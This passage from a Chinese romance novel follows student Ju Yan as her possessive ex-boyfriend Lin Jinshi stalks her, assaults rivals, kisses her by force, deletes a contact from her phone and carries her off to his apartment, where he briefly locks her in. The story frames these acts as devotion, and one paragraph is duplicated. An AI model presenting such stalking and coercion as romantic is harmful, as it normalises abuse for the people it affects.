鞠言的动作停下，两人交握在一起的手不知道怎么剪了，不知是该将他的手剪掉，还是将自己的手剪掉。 一滴坠落的泪珠滴到了照片中的自己笑吟吟的脸上。 鞠言咬紧唇，她犹豫了下，干脆一刀把自己整个的手剪了，他的一点痕迹她都不想再看见。 知道林今世下一节课的教室，鞠言提前走进了空荡荡的教室，将那张照片和他的耳钉一起放在了后两排某个位置上。 而后，她深吸了一口气，转过身朝外走。 把他们之间曾有过的一切都还给他。 _ 傍晚上课时间，学生三五成群地走进了教室，偶然坐在这个位置的同学发现了放在桌子上的残照，他拿起来看了看，回过头四下寻找林今世。 临到上课铃响，林今世才失魂落魄地从教室后门走进来，周围同学的哄闹与嬉笑和他完全无关，他这些天来一直是这样，做什么事情都处于半走神的状态，像是失了魂。 拿着照片的同学喊了林今世三声，他才有所反应，然而也只是很漠然地扫了一眼。 “林今世，这好像是你的照片。” 看到是那张合照，林今世的眼神顿时亮了一下，立刻急步走了过来。 可还没从同学手中接过来，他已先看清了残破，表情一瞬间像是缺氧。伸出去的手颤了下，僵停在了半空。 同学被他瞬间仿佛心神俱裂的表情吓得不知所措。 耳畔顿时响起一阵耳鸣，林今世听不到任何声音，脑海中白雪茫茫，过了好几分钟，他才回过一口气来，反应迟钝地将自己被剪下来的照片拿了回来。 任课老师已经开始上课了，林今世勉强找了个空位置坐下，低脸在课桌下慢慢摸索着鞠言在照片中仅留下的一只手，昔日和她牵手时的感觉在脑海中回温。 他第一次牵她的手时，鞠言高兴地连走路都蹦蹦跳跳的。 当初拍下这张照片时，她喜欢得看了又看，宝贝得不来了，就连拿着都万分小心，生怕不小心弄出一道折痕。 可现在这张照片已经残破不堪，而且，只有他一个人了，她在旁边变成了一个空白的轮廓，仅留给他一只十指相扣的手。 林今世的心在剧烈地痛着，照片上的残缺像是从他心里剜走的。 她曾经那么喜欢的照片，那么宝贝的耳钉，她就这样还给他了，他们之间的回忆，他们之间的爱，还有她曾经那么喜欢的他，她都不要了。 林今世捏着残照的手剧烈地颤抖起来，他咬紧唇，不让自己哭，咬出了血也不曾发觉，血比泪先顺着下颏滴了下来。 世界之外有个声音模糊地在连续喊着他的名字，愈叫一遍，其中蕴含的火气愈大一些。 林今世后知后觉，终于有所反应。 任课老师站在讲台上，一脸怒容地瞪着他，班级里静极了，同学的视线从各个角度投过来凝在他的脸上。 “要是那么不想上我的课，你就回去！” 林今世回过神，随即缓缓站了起来，课桌上有枚白板笔的帽盖，老师什么时候丢过来的，他一点印象也没有- 晚自习结束，从街舞社回来的关鸥说社团活动太忙，快饿了一天了，硬要室友们陪着她去校外吃烧烤，其她几个室友都反常地坚决不肯去。 鞠言也没什么心情出门，可关鸥还是硬拽着她下了楼。 两人慢慢行走在夜晚的校园中，关鸥随便和她聊了几句，而后极其突兀地提起了林今世。 “那啥，分手是很正常的事情，比比你别再因为那个谁难受了。”关鸥目视前方不朝她看。 鞠言愣了愣，朝她看过去。 关鸥蹙着眉自顾自说下去：“世界上男人多的是………” 听着她用自己的声音说着沈清梨和周靓雯才会说出来的话，鞠言就猜到了关鸥为什么一定要拉着她出门的原因了。 鞠言静静地听着关鸥背书似的将那些宽慰的内容一股脑地往外倒，她已经能想象到宿舍里的另外三个人是怎么胁迫着她来的了，鞠言不由得轻轻笑了出来。 关鸥的声音静止，她停下脚步，回过脸望向她——鞠言的脸上蒙着一层淡淡的夜色，但她含笑的眼睛仍旧明净如洗。 望着她的笑颜，关鸥的表情逐渐轻松起来，她也笑了，一手撑膝俯下身和鞠言面对面，弯起指节刮了下她的鼻子。 鞠言心里一阵发酸：“谢谢……” 关鸥又在她的脑袋上轻轻敲了一敲，而后将她搂到了怀里：“不要那么肉麻好不好！” 她穿着宽松的黑色T恤，和同色系的工装裤，在昏暗中，看起来像个清秀的男孩子。 忽然有人从前方出现，不用看清脸，只看那颀长漂亮的身形，鞠言就已知道了是谁。 林今世猛地在关鸥肩头搡了一把，直接把她推到了地上。 鞠言惊呼了一声，立刻想去扶她，手才刚触到关鸥的手臂，就被林今世拽住胳膊一把拉到了自己怀里，他低脸吻上来，关鸥碰她那一下似乎让林今世很受刺激，他吻得很凶，几乎将她整个人搂进了自己的身体里。 鞠言拼命挣扎，但力量相差太悬殊，完全无法挣脱，她狠命咬他的唇，可咬出了血他也没放开，鲜血顺着下巴淌到了脖子上。 汹涌地吻了一会儿，鞠言已经有些喘不过气了，林今世放她喘息，怕箍太紧她会痛，手臂也渐渐松了一些。 鞠言立刻挣脱他的怀抱，想跑过去扶关鸥，林今世再次一把将她拽回了怀里，他在黑暗中的眼神是一种占有欲爆发到极点后的狠戾。 关鸥一瘸一拐地从地上爬了起来，举起拳头就要冲过来还击。 林今世微微侧目，眼神冷得像是刀刃，鞠言害怕他会毫不客气给关鸥也来个背摔，吓得心脏都快要跳出来，忙拉住林今世手臂，喊道：“她是我室友！” 林今世微怔，朝关鸥仔细看了一眼，确定她是女生后，他锁着鞠言的手才轻轻松开了。鞠言第一时间跑过去查看关鸥的伤势，看着她崴伤的右脚，鞠言心疼与内疚得手发起抖来，她回过脸严声对林今世道：“道歉！” “……抱歉。” 关鸥没有回答，只是咬牙切齿地瞪了他一眼。 鞠言搀扶着关鸥往医务室走，林今世跟在后面，询问鞠言：“要我背她吗？” 鞠言看了眼关鸥巴不得杀了林今世的神情，知道她肯定不会同意，摇了摇头。 她不回头，冷声对林今世道：“你赶紧走。” “……”林今世默然片刻，微微点了下头，声音低到快听不见，“知道了。” 陪着包扎完伤口的关鸥回到宿舍，鞠言也刚好收到了楚源发给她的微信，是林今世拜托他代转给关鸥的医疗费和赔偿金，林今世的所有联系方式她都已经拉黑删除了。 第52章 鞠言原本以为林今世对她的执着会随着时间推移慢慢淡去,可连续过了几个月，他对她的执着不仅不减分毫，反而更偏执了。 她的每节早晚自习,林今世仍旧都会来，不过他不再坐到她身边,只是将每天不重样的早餐放到她的桌上，然后静静地坐在后排空位置上,只为看她几眼。 林今世的执着追求仿佛变成了她身上的一个神秘的光环，吸引其他人前赴后继地想知道原因。 陈归也总是得意地说起自己和林今世最喜欢的一个前女友“暧昧过”，有次在羽毛球社被林今世听到了他在大谈鞠言,他当即把他揍的满地找牙，陈归便不敢再说起了。 即使那些试图追求鞠言的男生连加她的好友申请都没有通过，最后的结局却都和陈归一样,全狠狠挨了林今世一顿打。 这段时间，林今世的性格变得沉郁了不少，身上所散发冷戾的气息让曾经的几个室友都有些怵他了。 一个学长仗着和林今世多打几次球,又是学生会长，只多嘴评论了鞠言一句,就被林今世狠狠地揍了一顿。 在球场上,他的脾气更是坏得要命，动不动就跟人起冲突,虽然潜意识里希望自己被人狠狠揍一顿,但每次都是把别人揍了个鼻青脸肿。 这天中午的最后一节选修课结束，鞠言把整理好的教课书抱在怀里，和童钰一起走在廊上。 四周的同学三五成群地谈论着中午要吃点什么。 各种不同种类的美食名称飘进鞠言的耳朵里，她却完全没什么胃口。 “比比，你想好吃什么了吗？”童钰问她。 鞠言摇了摇脸：“还没想好,你想好了吗？” 童钰想了想：“2号食堂的煲仔饭怎么样？” 鞠言抿唇朝她浅笑：“那我也吃这个吧。” 一名同班上课的高个子寸头男生忽然快一步上来，挡到鞠言的面前。 鞠言微微蹙眉，想往左绕开他，男孩却笑眯眯地也跟着往左，鞠言往右，他便又往右挡。 最近总是有男生特意等在她下课路上来搭讪的，对于这些男生近乎骚扰的搭讪，鞠言已经有些抗拒，她冷淡地问： “你有什么事吗？” 男生居高临下地看着她，女孩黑亮的长发干干净净地抿在耳后，没有化妆，淡白的一张鹅蛋脸，或许是因为晚上睡不太好，眼下淡淡一抹青晕，看起来却莫名多了一股憔悴的美感。 “嘿，中午一起吃饭怎么样？”男孩算得上周正的脸上带着自信的笑。 鞠言摇摇头：“我已经和朋友约好了。”说完了便想走。 “欸！”男生急忙拉住她的一只手，笑道：“给个机会——” 话还没讲完，忽然有人在他的小腹上踹了一脚，男生一下子跌倒在了地上。 男人的声音冷冷地出现： “你配吗。” 四周的学生顿时发出此起彼伏的惊呼和窃窃私语。 …… 寸头男孩红着脸从地上爬了起来，和自己同样一脸窘红的朋友一起急步离开。 看到鞠言显然被他刚才吓了下，林今世顿了下，寒冷的脸色融化，他轻声解释： “我不是暴力狂，只是不想让别人骚扰你……” 鞠言咬了咬牙：“我和你一点关系也没有，不要再管我的事。” 她恨他的锲而不舍，逼得她一次次狠下心对他冷言相对。 “还有，不要再动手打人了！” 鞠言并不想管林今世的事，可这段时间，林今世已经因为打架吃了好几个处分，再这样下去被开除是迟早的事。 林今世的关注点显然只在前一句话上，神色一瞬间变得伤惨。 鞠言眼睛发酸，撇开视线不看他，顾自拉着童钰离开。 电梯内，注意到童钰一直关切地注意着她，鞠言安慰性地冲她笑了下，一抬眼这才发觉周围的人几乎都在朝她看，尽管极力没有让自己哭出来，可她皮肤白皙，眼眶红了特别明显。 鞠言再一次垂下了脸，电梯门一开，便拉着童钰第一个走出去。 _ 临近假期，清津大学像往年那样举办了各种讲座，有关心理方面的讲座，校方特意邀请来了国内心理学会的顶尖专家沈安林沈教授来参加。 沈教授不仅在国内外心理学会都富有盛名，还在二十年前创办了擅长治疗精神及心理健康的森北医院。 一月，下午四点白茫茫的天空中飘起了零星的雪花，不似十二月那回浩浩荡荡，只是徒增寒意。 由于这一次讲座内容与心理有关，通向报告厅的大道上浩浩荡荡都是心理学专业的学生，鞠言和童钰也在其中。 时间还早，童钰想去买杯热咖啡带到报告厅喝，鞠言没什么胃口，但还是陪着她一起去了一趟咖啡店。 学校里只有一家咖啡店，生意一向忙碌，趁着等待的时间，鞠言找了个临窗的空位坐下，从包里拿出书来看。 咖啡店内比室外暖和了不是一点，玻璃上濛了一层淡淡的白雾，鞠言抽了两张纸巾把面前的那一块玻璃上的雾气擦干净，让外面的光透进来。 她低下脸看书，面前的落地窗忽然传来了两声轻轻敲击声。 鞠言仰起脸，隔着洁净的玻璃一张陌生而熟悉的脸蓦地撞进她的眼睛。 年轻而漂亮的男人两手撩开棕色风衣抄在裤兜里，他朝她微笑，衣角被傍晚的风翩然卷动着。 鞠言怔然盯着他的脸看，一时间认不出是谁。 男人迈开长腿步伐优雅地走进店内，他走到她身旁停下，笑道： “鞠言，好久不见。” 他迷人的笑使她心中有关他的记忆苏醒过来——是那个在书店与她有过一面之缘的大学生。 鞠言有些意外，已经过去那么久了他竟然还记得她的名字。 “你是李景……”最后一个字她记不清了。 “李锦记。”男人接下去。 鞠言一下笑出了声，身旁的童钰也忍不住笑了。 她歉然道：“我想起来了，李景显是吗？” 李景显的面部轮廓比起两年前初见的那一面，成熟了不少，眉眼间英气逼人。 他笑了，从口袋中取出手机，“那时候忘记和你添加联系方式了，后悔了好一阵呢。没想到还能遇到。” 两人添加了联系方式。 李景显望着她小而苍白的脸，关切地询问道： “脸色怎么这么差？” 这段时间以来鞠言瘦了好些，即使穿着宽松的牛角扣大衣，也能看出纤瘦的身材。 “期末复习有点累。”鞠言垂下眼，她转移话题：“你也是津大的吗？” 李景显两手仍旧抄回兜里：“不是，陪一个熟人来你们学校开讲座。” “沈教授？”鞠言怔了怔，“他是你的亲戚？” 李景显点点头，看见她手里抱着的教科书：“你是心理学专业的？” 鞠言：“嗯，我刚好要去沈李教授的讲座。” “我和你们一起，去听听李教授讲的怎么样。” 童钰的咖啡恰好做好了，李景显绅士地替两个女孩推开门。 在前往心理学院的报告厅的路途中，李景显告诉了她一些有关自己的事情。 他是海归，比鞠言大四岁，从国外回来后不愿继承家业，选择自己创业成立了一家公司，目前还在起步的阶段。 鞠言并没有说起自己的事，只是安静地听着。 即使她只是偶然回答几句，李景显也能滔滔不绝地说许多话，生动风趣的用词总是逗得鞠言莞尔。 “对了，沈教授是森北私立心理医院的院长，你们毕业以后要是想去的话，我可以帮你介绍。” 鞠言惊喜道：“真的吗？！” 她很想留在清津，虽然还只是大二，但对于清津优秀的心理医院也已做了不少功课，森北不仅在业内的声誉好，薪资待遇也远超清津的其它医院，若是毕业后能在森北就职，那真是再好不过。 “骗你是汪汪。”李景显望着她闪光的眼睛笑道。 鞠言再一次被他逗笑。 报告厅已经快坐满了，只剩下了后几排的位置，他们在末排的位置坐下。 李景显坐在最外侧的位置，鞠言坐他身旁，童钰正想在第三个空位坐下，忽然有男声道： “麻烦你坐这里。” 男人声音清冷低沉，十分动听。不用回头鞠言就知道是林今世。 童钰回过头朝鞠言看，鞠言没说话，搁在膝盖上的手紧紧攥了起来。 林今世一定是知道她肯定会来听讲座，所以早早等在这里了。 林今世往后退开几步，等童钰先出去后，他又走了回来，在鞠言身旁坐下。 鞠言偏开脸，不让他的身影出现在自己的余光里。 注意到两人之间不一般的氛围，在她全部视线中的李景显往前探出身，眼中略带好奇地朝林今世打量着。 少年黑发如墨，俊眼修眉，在同性眼中也是满分的容貌。 林今世靠在椅背上，冷冷地扫了他一眼。 “……”李景显轻轻一笑，优雅地靠回座位上。 周孝明和另外几个学生干部在行道间穿梭，帮忙分打印出来的资料给到场的人，到末排，周孝明手里的资料纸已经只剩下薄薄一层了。 望见鞠言，他的目光停了下，随即看向她身旁的李景显和林今世。 周孝明：“……” 第53章 周孝明面色平静地将一份资料递给坐在外侧的李景显,李景显微笑着说了声“谢谢。”伸出手想把鞠言的那一份也接过来，周孝明却不礼貌地躲开了手，手臂越过他,将资料纸直接递向了鞠言。 李景显：“……” 鞠言还没伸手拿，身旁的林今世已率先伸手一把将那份资料从周孝明手中夺了过来。 李景显微微挑眉。 林今世用没有温度的眼神瞥了周孝明一眼,将资料纸上的褶痕抚平，随后递给鞠言。 鞠言像是没看见,伸手又从周孝明那拿了一份。 “……”林今世拿着资料的手慢慢收了回去。 周孝明将剩余的几份资料分完，却没有往回走，而是在童钰身旁坐了下来。 他侧过脸对童钰温声道：“可以换个位置吗？” “呃……”童钰有些惊恐：“我旁边是林今世……” 周孝明摇了摇头,表示没关系。 童钰疯狂摇头拒绝，手机在这时响了一声，她忙低下脸看手机,避开和周孝明的对话。 是鞠言的消息： 【小钰，我想先回去了。】 童钰：【嗯好，你没关系吧？】 鞠言：【没事的,别担心。】 发完消息，鞠言轻轻拽了拽李景显的衣服,压低声音道：“我临时有点事,要先回去了。” “介意我跟你一起走吗？”李景显询问道。 鞠言点点头，还没起身,忽然感觉到了有人握住了她的右手,修长的手指不容分说地穿进她指间的缝隙，牢牢地十指相扣。 鞠言身子一僵，她了解林今世，一定是刚才她跟李景显略显亲密的举动刺激到他了。 鞠言又羞又恼，用力想将手抽出来,林今世没有松开。 “放手！”她压低声音道。 林今世抬眸看着她，将手扣得更紧了点。 目光相撞，看着他充斥着占有欲的眼神，鞠言后知后觉地清醒过来，再刺激他，或许林今世会不管不顾地在这么多人面前做出比牵她手更出格的举动。 李景显和周孝明也注意到了。 “你干什么？”李景显声音褪温，立刻伸手过来想帮她摆脱林今世的手。 鞠言怕他们两个会起冲突，连忙轻推开李景显的手，余光注意到周孝明正垂眸在手机上打字。 她不用猜就知道他肯定是在给辅导员发信息，恼道：“周孝明！你不要添乱了行吗？” 周孝明打字的动作停下，他仰起脸，温和的声音中有一丝委屈：“比比，我只是想帮你。” 林今世声寒如冰：“不许叫她比比。” “比比，这两位是？”李景显询问道。 鞠言：“都是前男友。”说到“前”字时，她的声音加重了一分。 林今世、周孝明：“……” 李景显意味深长地“噢”了一声：“模样倒都配得上你，只是都有些不礼貌。”他笑吟吟地望住鞠言，“你喜欢这种男人？” 鞠言忍无可忍，她深吸了口气：“李景显，你也别捣乱了行吗？” 李景显露出听话的样子：“行。” 林今世另一只手下意识握成拳，冷声问：“比比，这是谁？” “不关你的事情。”鞠言冷声道，看到周孝明，不忘补充：“还有你。” 林今世：“……” 周孝明：“……” “既然两位都是前男友，就请不要再纠缠了。”李景显接口道。 闻言，林今世冷冷地扫视了他一眼，占有性地将鞠言往自己怀里拽了一点。 鞠言慌忙抿紧了嘴，害怕林今世会在大庭广众之下做出上次那样过激的举动。 她下意识防御性的动作使三个男人同时朝她看了一眼。 “林今世，你别像个疯子一样，把手松开，你会把她握疼的。”周孝明微微蹙眉，伸手去掰林今世的手。 周孝明的手还没触及，就被林今世握住手腕摔了回去。 周孝明的眼中一瞬闪过寒意：“……” 末排的位置本就因为林今世的存在颇受瞩目，这样一闹更是引得许多道目光聚焦了过来，一张张好奇的脸朝后转着，鞠言的脸不受控地红了起来。 台上传来调试麦克风的声音，讲座要开始了，鞠言不想因为自己的私事影响到别人。她稳下情绪，对林今世道：“任何事，都等讲座结束再讲。” 林今世的眼神逐渐恢复了一些温度，手却没有松开的意思。 鞠言怕打扰到别人，纠结了片刻，无奈地放弃了离开的打算。 因为这场突发的意外，原本期待了好几天的讲座鞠言也听得有点心不在焉。 但渐渐的，沈教授讲述的内容一点点吸引了她，同时也平复了她烦躁不安的心情。 鞠言看了眼被林今世牢牢相扣的手，说道： “我要作笔记。” 林今世沉默片刻，松开了手。 沈教授不仅讲得很好，人也宽和幽默，鞠言认真地听着，渐渐沉浸到她热爱的事物中，不再去想身旁的糟心事。 鞠言握着笔，不时垂眸将自己认为需要做笔记的内容仔细摘写到平板里，她的脸上没有任何装饰，梳理顺滑的黑发披肩，简约而清丽。眼睛里专注的神情为她镀上了一层别样的魅力。 整个人仿佛一本清香洁净的纸质书。 三个男人的目光不约而同地停留在她的身上。 那么好的她，原来是属于他的。林今世望着她有些出神，他忽然感受到了另外两个男人的目光，鼻息瞬间重了一分。 如果眼神能杀人，那李景显面临的就是五马分尸，周孝明则是凌迟。 …… 一个半小时的讲座在三个男人充满火药味的气氛中结束，沈教授面前的讲台前排起了问问题和求签名的长队。 鞠言本也想去问沈教授几个有关心理学的疑问，但看着那么长的队伍还是决定算了，而且她还有两个麻烦要处理。 鞠言看向周孝明，试图把他支走，声音平淡地问：“你不去排队吗？” 周孝明摇了摇头：“我想和你待在一起。” “你不配。”林今世冷声道。 李景显饶有兴趣地朝他俩看了一眼。 鞠言神色渐冷：“周孝明，你一定要在这个时候添乱的话，我会把你的事情告诉辅导员。” “……”周孝明知道她说的是什么，下意识地攥紧了手，他在原地伫立几秒，掉头朝长长的队伍走去。 鞠言看向李景显，语气缓和了不少：“方便先走开一下吗，我有些私事要处理。” 李景显理解地点点头，他双手抄兜往后退去，一边说道： “我去外面等你。” 等李景显走远了，鞠言冷然道：“你可以走了吗？” 林今世猛地将她摁到了墙上，同时用一只手护住她的后脑勺，以免撞痛。 他咬牙道：“让我离开，然后放你去和那个男人约会吗？” 鞠言气道：“不关你这个骗子的事！” 林今世的瞳孔抖了一下，隔了好一会儿，才道：“你答应过我的，不喜欢别人。” 看着他微微发颤的嘴唇，鞠言有些心软了，语气平缓了一点：“我和他只是朋友，没有别的关系。” 林今世慢慢放开她。 “你现在可以离开了吗？”鞠言淡声道。 “等那个男人走了之后。”林今世的 语气没有谈判的余地。 鞠言气得深吸了口气才抬步朝外走。林今世手抄兜里走在她身后，他很想伸手去牵鞠言的手，但知道这样一定会惹她生气。 李景显正靠在墙上抽烟，乳白的烟气消散在苍白的天色中，瞥见鞠言过来，他将才刚点燃没多久的烟在身旁的垃圾桶上的烟灰缸中捻灭，嘴角挑出迷人的弧度。 李景显正靠在墙上抽烟，乳白的烟气消散在苍白的天色中，瞥见鞠言过来，他将才刚点燃没多久的烟在身旁的垃圾桶上的烟灰缸中捻灭，嘴角挑出迷人的弧度。 看见她身后的林今世，他的目光微顿了下，随即恢复寻常。 他对鞠言笑道：“五点多了，我请你出去吃饭好吗？” 鞠言摇摇头：“我还要上晚自习。” 如果她真的和李景显出去吃饭，林今世一定会发疯的。 李景显没有强求，又道：你要是有什么问题想请教沈教授的话。我可以把他的微信推给你。” “不用了，沈教授肯定很忙，我不去打扰他了。” “那好。”李景显垂下浓长的睫毛看了眼腕上的名表，“我该走了，有什么事情需要帮忙直接跟我联系，不用跟我客气。” 不用回头，鞠言也能感受到来自身后的冷空气。 “……嗯，再见。” 李景显走了，林今世却没有要走的样子，脸色还比刚才更难看了。 “你加他微信了？” 鞠言当没听见，越过林今世就走。 林今世捉住她的手腕，一把拉了回来。 “删掉。”他竭力控制住自己的情绪，以免手劲不自觉地加重把她握痛。 鞠言坚决道：“不删！你没有资格来管我的事。” 林今世不再和她争论，直接夺走了鞠言的手机，鞠言忙想去抢，林今世单手锁住她的手腕，用人脸识别打开了手机，从聊天框找出了最新添加的好友，毫不留情地就将李景显的微信拉黑并删除了。 鞠言气得眼眶泛红，滚烫的泪珠滚落下来。 林今世微怔，音色比先前更加冷了：“这么舍不得他？” 鞠言挣出被束缚住的手，猛地扇了他一巴掌：“你一点也不尊重我！” 她猛地搡了怔在原地的林今世一把，撇下他跑回了宿舍- 第二日早自习，林今世还是来了，他照例将早餐放到桌上。 “昨天的事，对不起……” 那一巴掌打的极用力，即使过了一夜，林今世左侧的脸颊上仍留有微褪去的淡淡指痕。 鞠言将脸埋进臂弯里，背过身道：“我不想看见你。” “……” 林今世少有的没有再执着，他默然站起身，从教室后门离开。 第54章 或许是因为知道自己这一次做错了,林今世好多天都没有再出现在鞠言的生活里，教室里不再出现他的身影。 他们真的结束了。 鞠言心里发空，说不出是解脱还是失恋的悲伤再次袭来。 时间又来到了一年的除夕。 因为去年的不愉快,鞠言寒假并没有回家，即使叶珊和几个亲戚都发了好几大段微信过来劝她。 以往她闹脾气,鞠然肯定会第一个跑出来烦她，但因为那件事,鞠言已单方面跟鞠然断绝了关系，鞠然也知道，一个陌生的男同学是没资格来管她的事的。 这个学期鞠言靠卖衣服赚了不少钱,除去租房子的部分，还能剩下一部分充当生活费。 有了去年的经验，正式放假前,鞠言已提前在学校附近租好了房子，告别室友后，她将一些生活用品搬到出租屋,这个新年，打算自己跟自己过。 过了除夕夜,明早鞠言还要去附近的餐厅做兼职,新年的几天工资翻倍，反正一个人待在出租屋里也没事,能多赚一点是一点。 鞠言在擦干净的玻璃上贴了几张小小的福字剪纸,又在楼下的花店买了一束粉色的剑兰摆到桌子，小小的一室居，经过她的打扮，也颇有了几分过年的气氛。 打扮好自己的房间，鞠言到客厅的厨房去做晚餐,客厅是公用的，除了她，这套公寓还有另外两个租客，不过她们都回去过年了，所以暂时只有鞠言一个人。 鞠言预备晚上给自己做一份丰盛的晚餐，再配上一杯热腾腾的蛋奶。 正垂脸浏览着手机上的菜谱，门铃忽然响了几声，她旋过脸望了一眼，有些奇怪谁会在这个时候来找自己。 她走到门旁，透过猫眼往外看。 由于对方太过高大，她只看得到男人胸口的衣服——奢侈品牌的蓝色外套。 “……” 鞠言的动作静止，脑海中嗡了一声。 他怎么会知道自己在这里的？ 等了一会儿，林今世又揿了两声门铃。 鞠言回过神，隔着门问：“你怎么知道我住哪的？” “……”林今世沉默片刻，低声道：“跟着你。” “林今世！”鞠言忍不住生气。 “……对不起。”林今世的声音透过门扉传进来，“我想和你一起过年……” “不可能。”她的语气没有转圜的余地。 “不会做别的，只是想和你一起过年，我保证。” “我不会相信你的，你再不走的话我报警了。” 门外安静了片刻，林今世低沉的声音再度响起。 “比比，我很想你。” “……”鞠言的眉头微颤，她靠在门扉上，闭上了眼睛，没有回答他。 林今世没有再按门铃，声音也消失了。 隔了许久，鞠言才睁开眼睛，转过身透过猫眼望了一眼，对户门上倒贴着的一个福字映入眼帘。 他的衣服消失了，但她知道他还没走。 鞠言背靠着门无力地滑坐到地上，不知道该怎么办好，她将下巴搁到膝盖上，抱肩的双手触摸到了自己浅紫色的绒开衫，这件衣服是纯羊毛的，很暖和，可她身上还是凉浸浸的，这还是在紧闭门窗的室内…… 时间一分一秒过去，昼短夜长的冬日，一眨眼间，昏蒙便完全入侵了房间，将粉色的窗帘染成了黯粉，飕飕的寒风撞击了窗户，鞠言侧脸望了眼窗外。 夜色已浓，温度也快降到最低了，直冷到她的心里去。 鞠言忍不住地担心林今世会被冻感冒，像之前那次那么严重…… 对户传来开门的声音，几秒后，一个中间女人带着惊异的声音传来： “小伙子，大过年的，你一个人坐在这里干什么？” 她听到林今世淡声答了句：“没事。” “要不要先到我家去坐一会儿？”女人好心地问。 “不麻烦了。” 片刻后又传来了关门的声音。 鞠言瞬间有种欲泪的冲动，她真恨林今世，恨他骗她，也恨他不像以前那样薄情…… 她结束了枯坐，一手撑墙站起身，慢慢将门打开。 林今世坐在门 口的垫子上，听到响动，他回过头来瞥了一眼，见门开了，他的眼中透出一线惊喜，立刻从地上站了起来。 鞠言不跟他说话，走到桌边倒了杯热蛋奶递给染了一身寒气的林今世。 在接杯子的时候，林今世修长的手指触到了她的冰凉的手指。 “你的手怎么这么冷？” “你喝完赶紧走。”鞠言冷漠道。 “比比，留我在这里过年好不好？” “不行。” “那我们去华景都城可以吗？” 鞠言摇头：“你忘了吗，我们已经没有关系了。” “比比，我想重新追你。”林今世靠她靠近一些，语气诚恳。 “我已经不喜欢你了，你就算再怎么强求我们也没有可能。”鞠言的声音不带一丝感情。 “……”林今世望着她神情漠然的侧颜，不自觉地咬紧了牙，他垂下睫，慢慢将没喝一口的蛋奶搁回桌上。 鞠言看了一眼，道：“你该走了——” 话音未落，她的身体忽然失去了平衡，林今世将她一把拦腰抱了起来。 “林今世你干什么！”鞠言惊声。 林今世不解释，抱着她大步流星地朝外走。 鞠言在他怀里挣扎着，急声喊：“快放我下来！” 林今世抱得紧了些，他出了单元楼，换成单手抱住鞠言，另一只手从口袋中摸出车钥匙解锁了就停在楼下的白色库里南。 林今世单手打开车门，将鞠言抱进了副驾驶系好安全带，随后将车门关上，鞠言马上解开安全带去开车门，但车门已经被他上锁了。 林今世走到驾驶座旁，解锁了钥匙开门上车的一瞬间，鞠言趁机打开车门想往下跑。 林今世眼疾手快，捉住她的手腕一把拉回了车内，他探身过来，将仅开了一线的车门关上。 “林今世你到底要干什么！”鞠言解开他替她系上的安全带，从口袋拿出手机。 林今世从她手中抢走手机，揣进自己口袋，无言地又替她系上安全带，鞠言再度解开，急声喊： “把手机还我！” 林今世没理她，坐回位置，也没系自己的安全带，随即预备发动车子。 鞠言被他气得简直要吐血，只能重手将自己的安全带系上。 林今世瞥了她一眼，还是没有系自己的安全带。 “……”鞠言捏紧了拳，忍着气探身过去，林今世配合地往后靠。 她特意将安全带调得紧了点，才重手替他系上。 “……”林今世显然被勒的有些难受。 勒死你！鞠言在心里骂道。 她将身体贴在车窗上，能离林今世越远越好。 林今世单手转动方向盘，将车子开出小区，他目视前方，瞥了一眼靠在车门上的鞠言，安抚道： “别怕，只是带你去华景都城，不会做什么的。” 鞠言冷着脸：“你都绑架我了。” “……” 新年在即，街道一片辉煌，沿途的树上装饰着发亮的小红灯笼和福纸，随着库里南的车速被抹成一片朦胧的红光。 鞠言的情绪平静了一些，她不看林今世，眼望着窗外： “手机还我。” 林今世犹豫了下，随后道：“你自己拿。” 鞠言伸手过去从他外套口袋中拿出了自己的手机，不经意触到他兜里的其他东西，她的手顿了下，随后一起掏了出来。 看着手中的烟盒，鞠言忍不住生气： “你怎么又开始抽烟了！” 虽然林今世抽烟的概率不高，但交往时鞠言还是坚持让他把烟戒掉了。 “……太想你的时候，抽烟能缓解一点。”林今世沉默了一会儿后说道。 鞠言咬了咬唇，把烟盒丢还给他：“随你，你想得肺癌早死就接着抽。” 林今世的嘴角悄悄抬了起来，“你没收了吧。” “我才不要管你。” 林今世：“……” 车子停下，林今世先开门下去，他快步到副驾驶时，鞠言已经打开车门了。 “我自己走。” 林今世往后一些让她下来，虽然鞠言没有要逃跑的样子，林今世还是有些不放心，伸手过来牵住了她的手。 “放手！”鞠言用力抽了几下。 林今世没有放开，牵着她的手往一楼大厅走。 鞠言被他半拽着拉进了电梯内，林今世按了楼层，电梯合上门，开始稳速上升。 到了17楼，电梯门打开，林今世拉着鞠言出去，牵着她的手已经强行换成了十指相扣。 林今世用指纹解了锁，门才打开了一小半，馄饨便飞速从门缝中蹿了出来，直奔向电梯间，林今世没空管它，将鞠言打横抱起，没有脱鞋便阔步走进了屋内。 见没有人来把自己逮回去，馄饨推开没合上的门，一脸不可思议的样子钻了进来。 林今世将鞠言抱进卧室，轻轻放到床上，鞠言本能地紧张起来，她往后缩了缩，戒备地问： “你想干嘛？” “别怕，在这里待一会儿好吗？” 林今世转身出去，片刻后，他又走了进来，将一盒柠檬蛋糕递给她，“你先吃一点，我去做饭。” 馄饨竖着尾巴跟在他的脚旁也进入了卧室，看到有“陌生人”，它立刻警惕起来。 “馄饨。”等林今世走后，鞠言轻轻唤了它一声。 馄饨呆了呆，似乎想起了她是谁，它敏捷纵身跳到了床上，不住用脑袋抵蹭着她的手肘。 鞠言的心一下子软了，她将馄饨抱到怀里。在它小脑袋上亲了亲，被林今世弄得烦燥不安的心情也稍稍平复了一些。 她抱着馄饨，一只手轻轻抚摸着它的脑袋，目光静静环视着他的卧室。 床上整齐的摆放着许多只可爱的毛绒玩具，这是从前没有的。 鞠言抱着馄饨站起身，走到门旁按了下门把手，被从外面锁上了。 鞠言又生气起来，拿出手机给林今世打去了电话。 他接起来，鞠言冷声道：“把门打开。” “……那你可以别走吗？” “……知道了。” 片刻后，林今世打开了房门。 第55章 刚才被他抱进门时没来得及细看,这时才发觉林今世的房子添置了许多不同的装饰和用品。 都是从前她发给他的那些，一件不落，就连当时只给他看过一眼的那个粉色小猫垃圾桶,也乖巧地出现在了客厅的茶几旁…… 曾经期待一起生活的场景，乍然出现在眼前,鞠言的心像被刺了一下，一阵怅然若失。 客厅的桌上摆着一束蓝色风铃花,连位置都与她当初摆放的那一束没有差别。 相似的画面使相似的记忆一瞬间重叠，蓝色的花朵上生出了一点点新鲜的雨水，少年浑身湿透,连睫毛都落下雨珠…… 一切仿佛还是从前的时候…… 可碎掉的镜子就算拼好了也还是会有裂痕。 玻璃上曾经流淌过的雨水逐渐氤湿了她的眼睛，鞠言闭上眼睛，压制住欲泪的冲动,才重新睁开。 